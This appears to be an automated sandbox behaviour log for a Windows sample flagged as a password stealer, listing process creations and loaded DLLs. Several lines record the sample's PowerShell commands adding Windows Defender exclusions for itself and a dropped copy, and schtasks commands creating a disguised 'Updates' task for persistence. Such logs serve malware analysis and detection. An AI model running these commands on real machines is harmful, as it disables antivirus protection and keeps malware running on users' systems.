Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe C:\Users\user\AppData\Roaming\PUwpftrjIH.exe
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process created: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process created: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Section loaded: amsi.dll
